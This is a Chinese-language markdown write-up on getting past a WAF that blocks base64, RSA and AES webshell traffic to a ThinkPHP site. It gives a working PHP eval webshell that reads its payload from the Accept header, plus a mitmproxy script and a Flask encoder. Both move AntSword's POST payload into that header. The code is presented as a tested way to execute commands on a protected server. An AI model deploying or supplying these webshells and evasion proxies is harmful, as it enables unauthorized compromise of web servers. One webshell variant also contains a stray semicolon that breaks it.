Skip to content

Latest commit

 

History

History
125 lines (94 loc) · 3.67 KB

File metadata and controls

125 lines (94 loc) · 3.67 KB
created updated
2022-09-01 00:06:38 +0800
2022-09-02 08:42:15 +0800

流量waf绕过

碰到个thinkphp很硬的站点,php7的环境,拦截的很死,拦截<?php,可以通过<? ?>短标签绕过,拦截一些关键词eval等函数,可以通过php伪协议写入进行绕过

这个waf还有个比较厉害的点,流量拦截,base64、rsa、aes等流量都会识别到直接reset

base64流量如下:

800

直接reset,没有状态码,包括其他rsa、aes也是直接reset

rsa流量如下:

800

直接reset,也没有状态码

后续尝试更换payload中的关键字,发现没办法绕过,这个waf还是比较智能的

中间想到了使用伪协议写大马进服务器,发现无法写入,可能请求包数据太大,想了想其他的方法

继续尝试绕过waf,这里把payload更换位置,猜测waf只会识别数据包的请求体,而不会去看其他的请求头,把payload放到请求头里,发现服务器可以得到请求,如下:

800 那么就可以把之前的马:

<?
@eval(base64_decode(($_POST['x'])));
?>

更改为:

<?
@eval(base64_decode(($_SERVER['HTTP_ACCEPT'];))); // 获取Accept的参数
?>

然后编写mitm脚本如下:

# -*- coding:utf-8 -*-
# author:f0ngf0ng
# @Date: 2022/4/9 下午9:30
# 将post的参数转移到Accept
# 配合webshell
'''
<?  @eval(base64_decode(($_SERVER['HTTP_ACCEPT']))); ?>
'''
# 配合蚁剑的myencoder mydecoder 密码设置为x

from mitmproxy import http, ctx
from urllib.parse import unquote

class Mitm:
    def request(self, flow):
        if flow.request.host != "x.x.x.x" :
            # ctx.log.info(flow.request.host)
            return

        ctx.log.info(f"payload为 {flow.request.text}")
        payload = flow.request.text.split("x=")[1].split("&")[0] # payload参数
        flow.request.headers.add("Accept",unquote(payload) )
        flow.request.set_text(flow.request.text.replace("x=" + payload , ""))

        ctx.log.info(f"发送的请求包 = {flow.request.text}")
addons = [
    Mitm()
]

运行命令如下:

mitmweb -s mitm.py --listen-port 8082

蚁剑进行代理到本地

127.0.0.1:8082

点击测试连接,成功

800

800 mitmproxy运行界面如下

800

命令执行界面如下: 800 也可以编写autoDecoder的加解密脚本,如下:

# -*- coding:utf-8 -*-
# author:f0ngf0ng
from flask import Flask,Response,request
from pyDes import *
import base64
app = Flask(__name__)

@app.route('/encode',methods=["POST"])
def encrypt():
    body = request.form.get('dataBody')  # 获取  post 参数 必需
    headers = request.form.get('dataHeaders')  # 获取  post 参数  可选
    body_accept = body.split("x=")[1].split("&")[0] # 获取payload
    body = body.replace("x=" + body_accept,"")

    if headers != None: # 开启了请求头加密
        print(headers + "\r\n\r\n\r\n\r\n" + body)
        headers = headers + "Accept:" + body_accept + "\r\n"
        return headers + "\r\n\r\n\r\n\r\n" + body # 返回值为固定格式,不可更改

    return  body

@app.route('/decode',methods=["POST"]) # 不解密
def decrypt():
    param = request.form.get('dataBody')  # 获取  post 参数
    return param

if __name__ == '__main__':
    app.debug = True # 设置调试模式,生产模式的时候要关掉debug
    app.run(host="0.0.0.0",port="8888")